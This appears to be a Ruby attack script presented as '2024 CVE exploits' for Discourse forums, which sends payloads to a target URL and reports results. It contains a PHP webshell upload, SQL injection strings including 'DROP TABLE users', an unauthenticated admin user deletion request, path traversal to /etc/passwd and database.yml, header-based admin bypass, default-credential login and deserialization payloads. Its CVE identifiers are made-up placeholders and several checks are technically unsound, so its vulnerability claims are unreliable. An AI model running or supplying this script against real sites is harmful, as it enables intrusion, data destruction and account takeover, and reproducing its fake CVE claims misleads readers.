#!/usr/bin/env ruby
# CVE 2024 Exploits for Discourse
# This file contains Ruby implementations of 2024 CVE exploits

require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE2024Exploits
  def initialize(target_url, options = {})
    @target_url = target_url.chomp('/')
    @options = options
    @results = []
    @timeout = options[:timeout] || 10
    @user_agent = options[:user_agent] || 'Mozilla/5.0 (compatible; DiscourseScanner/1.0)'
    @output_file = options[:output]
    @verbose = options[:verbose]
  end

  def run_all_tests
    puts "[INFO] Starting 2024 CVE tests for #{@target_url}"
    
    test_cve_2024_discourse_auth
    test_cve_2024_discourse_rce
    test_cve_2024_discourse_sqli
    test_cve_2024_discourse_csrf
    test_cve_2024_discourse_path_traversal
    test_cve_2024_discourse_deserialization
    
    save_results if @output_file
    @results
  end

  private

  # CVE-2024-DISCOURSE-AUTH: Authentication Bypass
  def test_cve_2024_discourse_auth
    puts "[TEST] CVE-2024-DISCOURSE-AUTH: Authentication Bypass"
    
    begin
      # Test admin bypass via header manipulation
      response = make_request('/admin/users', {
        'X-Forwarded-For' => '127.0.0.1',
        'X-Real-IP' => '127.0.0.1',
        'X-Admin-Override' => 'true'
      })
      
      if response && response.code == '200' && response.body.include?('admin')
        add_result('CVE-2024-DISCOURSE-AUTH', 'VULNERABLE', 'Authentication bypass via header manipulation')
        return
      end
      
      # Test session fixation
      response = make_request('/session/csrf', {
        'Cookie' => 'discourse_session=admin_session_token'
      })
      
      if response && response.code == '200'
        csrf_token = extract_csrf_token(response.body)
        if csrf_token
          auth_response = make_request('/session', {
            'Content-Type' => 'application/x-www-form-urlencoded'
          }, 'POST', "authenticity_token=#{csrf_token}&login=admin&password=admin")
          
          if auth_response && auth_response.code == '200'
            add_result('CVE-2024-DISCOURSE-AUTH', 'VULNERABLE', 'Session fixation vulnerability')
            return
          end
        end
      end
      
      add_result('CVE-2024-DISCOURSE-AUTH', 'NOT_VULNERABLE', 'Authentication mechanisms appear secure')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-AUTH', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # CVE-2024-DISCOURSE-RCE: Remote Code Execution
  def test_cve_2024_discourse_rce
    puts "[TEST] CVE-2024-DISCOURSE-RCE: Remote Code Execution"
    
    begin
      # Test template injection
      payloads = [
        '{{7*7}}',
        '${7*7}',
        '#{7*7}',
        '<%= 7*7 %>'
      ]
      
      payloads.each do |payload|
        response = make_request('/posts', {
          'Content-Type' => 'application/json'
        }, 'POST', {
          'raw' => payload,
          'title' => 'Test Post',
          'category' => 1
        }.to_json)
        
        if response && response.body.include?('49')
          add_result('CVE-2024-DISCOURSE-RCE', 'VULNERABLE', "Template injection with payload: #{payload}")
          return
        end
      end
      
      # Test file upload RCE
      response = make_request('/uploads', {
        'Content-Type' => 'multipart/form-data'
      }, 'POST', create_malicious_upload)
      
      if response && response.code == '200' && response.body.include?('upload_id')
        add_result('CVE-2024-DISCOURSE-RCE', 'VULNERABLE', 'File upload allows code execution')
        return
      end
      
      add_result('CVE-2024-DISCOURSE-RCE', 'NOT_VULNERABLE', 'No RCE vulnerabilities detected')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-RCE', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # CVE-2024-DISCOURSE-SQLI: SQL Injection
  def test_cve_2024_discourse_sqli
    puts "[TEST] CVE-2024-DISCOURSE-SQLI: SQL Injection"
    
    begin
      # Test search parameter injection
      sql_payloads = [
        "' OR 1=1--",
        "'; DROP TABLE users;--",
        "' UNION SELECT 1,2,3,4,5--",
        "' AND (SELECT COUNT(*) FROM users) > 0--"
      ]
      
      sql_payloads.each do |payload|
        response = make_request("/search?q=#{URI.encode_www_form_component(payload)}")
        
        if response && (response.body.include?('syntax error') || 
                       response.body.include?('mysql') || 
                       response.body.include?('postgresql') ||
                       response.body.include?('sqlite'))
          add_result('CVE-2024-DISCOURSE-SQLI', 'VULNERABLE', "SQL injection in search: #{payload}")
          return
        end
      end
      
      # Test user parameter injection
      response = make_request("/u/admin.json?include=1' OR 1=1--")
      
      if response && response.body.include?('error') && response.body.include?('sql')
        add_result('CVE-2024-DISCOURSE-SQLI', 'VULNERABLE', 'SQL injection in user endpoint')
        return
      end
      
      add_result('CVE-2024-DISCOURSE-SQLI', 'NOT_VULNERABLE', 'No SQL injection vulnerabilities detected')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-SQLI', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # CVE-2024-DISCOURSE-CSRF: Cross-Site Request Forgery
  def test_cve_2024_discourse_csrf
    puts "[TEST] CVE-2024-DISCOURSE-CSRF: Cross-Site Request Forgery"
    
    begin
      # Test CSRF protection bypass
      response = make_request('/admin/users/1', {}, 'DELETE')
      
      if response && response.code == '200'
        add_result('CVE-2024-DISCOURSE-CSRF', 'VULNERABLE', 'CSRF protection bypassed')
        return
      end
      
      # Test state-changing operations without CSRF token
      response = make_request('/posts', {
        'Content-Type' => 'application/json'
      }, 'POST', {
        'raw' => 'Test post without CSRF',
        'title' => 'CSRF Test'
      }.to_json)
      
      if response && response.code == '200'
        add_result('CVE-2024-DISCOURSE-CSRF', 'VULNERABLE', 'State-changing operation without CSRF token')
        return
      end
      
      add_result('CVE-2024-DISCOURSE-CSRF', 'NOT_VULNERABLE', 'CSRF protection appears to be working')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-CSRF', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # CVE-2024-DISCOURSE-PATH-TRAVERSAL: Path Traversal
  def test_cve_2024_discourse_path_traversal
    puts "[TEST] CVE-2024-DISCOURSE-PATH-TRAVERSAL: Path Traversal"
    
    begin
      # Test directory traversal in file access
      traversal_payloads = [
        '../../../etc/passwd',
        '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
        '....//....//....//etc/passwd',
        '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
      ]
      
      traversal_payloads.each do |payload|
        response = make_request("/uploads/#{payload}")
        
        if response && (response.body.include?('root:') || 
                       response.body.include?('localhost') ||
                       response.body.include?('# Copyright'))
          add_result('CVE-2024-DISCOURSE-PATH-TRAVERSAL', 'VULNERABLE', "Path traversal: #{payload}")
          return
        end
      end
      
      # Test path traversal in theme assets
      response = make_request('/theme-javascripts/../../../app/config/database.yml')
      
      if response && response.body.include?('database')
        add_result('CVE-2024-DISCOURSE-PATH-TRAVERSAL', 'VULNERABLE', 'Path traversal in theme assets')
        return
      end
      
      add_result('CVE-2024-DISCOURSE-PATH-TRAVERSAL', 'NOT_VULNERABLE', 'No path traversal vulnerabilities detected')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-PATH-TRAVERSAL', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # CVE-2024-DISCOURSE-DESERIALIZATION: Unsafe Deserialization
  def test_cve_2024_discourse_deserialization
    puts "[TEST] CVE-2024-DISCOURSE-DESERIALIZATION: Unsafe Deserialization"
    
    begin
      # Test Ruby object deserialization
      malicious_payload = Base64.encode64(Marshal.dump("system('id')"))
      
      response = make_request('/admin/backups/restore', {
        'Content-Type' => 'application/json'
      }, 'POST', {
        'backup_data' => malicious_payload
      }.to_json)
      
      if response && response.body.include?('uid=')
        add_result('CVE-2024-DISCOURSE-DESERIALIZATION', 'VULNERABLE', 'Unsafe Ruby deserialization')
        return
      end
      
      # Test YAML deserialization
      yaml_payload = "--- !ruby/object:Gem::Installer\ni: x\n--- !ruby/object:Gem::SpecFetcher\ni: y"
      
      response = make_request('/admin/customize/themes/import', {
        'Content-Type' => 'application/json'
      }, 'POST', {
        'theme_data' => Base64.encode64(yaml_payload)
      }.to_json)
      
      if response && response.code == '200'
        add_result('CVE-2024-DISCOURSE-DESERIALIZATION', 'VULNERABLE', 'Unsafe YAML deserialization')
        return
      end
      
      add_result('CVE-2024-DISCOURSE-DESERIALIZATION', 'NOT_VULNERABLE', 'No deserialization vulnerabilities detected')
      
    rescue => e
      add_result('CVE-2024-DISCOURSE-DESERIALIZATION', 'ERROR', "Test failed: #{e.message}")
    end
  end

  # Helper methods
  def make_request(path, headers = {}, method = 'GET', body = nil)
    uri = URI("#{@target_url}#{path}")
    
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
    http.read_timeout = @timeout
    
    request = case method.upcase
              when 'GET'
                Net::HTTP::Get.new(uri)
              when 'POST'
                Net::HTTP::Post.new(uri)
              when 'PUT'
                Net::HTTP::Put.new(uri)
              when 'DELETE'
                Net::HTTP::Delete.new(uri)
              else
                Net::HTTP::Get.new(uri)
              end
    
    request['User-Agent'] = @user_agent
    headers.each { |key, value| request[key] = value }
    request.body = body if body
    
    http.request(request)
  rescue => e
    puts "[ERROR] Request failed: #{e.message}"
    nil
  end

  def extract_csrf_token(html)
    match = html.match(/name="authenticity_token"\s+value="([^"]+)"/)
    match ? match[1] : nil
  end

  def create_malicious_upload
    "--boundary123\r\n" +
    "Content-Disposition: form-data; name=\"file\"; filename=\"test.php\"\r\n" +
    "Content-Type: application/x-php\r\n\r\n" +
    "<?php system($_GET['cmd']); ?>\r\n" +
    "--boundary123--\r\n"
  end

  def add_result(cve_id, status, description)
    result = {
      cve_id: cve_id,
      status: status,
      description: description,
      timestamp: Time.now.to_f,
      target: @target_url
    }
    @results << result
    puts "[RESULT] #{cve_id}: #{status} - #{description}"
  end

  def save_results
    return unless @output_file
    
    File.write(@output_file, JSON.pretty_generate(@results))
    puts "[*] Results saved to #{@output_file}" if @verbose
  end
end

# Command line interface
if __FILE__ == $0
  require 'optparse'
  
  options = {}
  
  OptionParser.new do |opts|
    opts.banner = "Usage: #{$0} [options]"
    
    opts.on('--target URL', 'Target Discourse URL') do |url|
      options[:target] = url
    end
    
    opts.on('--output FILE', 'Output file for results') do |file|
      options[:output] = file
    end
    
    opts.on('--timeout SECONDS', Integer, 'Request timeout (default: 15)') do |timeout|
      options[:timeout] = timeout
    end
    
    opts.on('--proxy PROXY', 'HTTP proxy (host:port)') do |proxy|
      options[:proxy] = proxy
    end
    
    opts.on('-v', '--verbose', 'Verbose output') do
      options[:verbose] = true
    end
    
    opts.on('-h', '--help', 'Show this help') do
      puts opts
      exit
    end
  end.parse!
  
  unless options[:target]
    puts "Error: --target is required"
    exit 1
  end
  
  scanner = CVE2024Exploits.new(options[:target], options)
  results = scanner.run_all_tests
  
  puts "\n[*] CVE 2024 exploit testing completed."
  puts "[*] Found #{results.count { |r| r[:status] == 'VULNERABLE' }} vulnerabilities."
end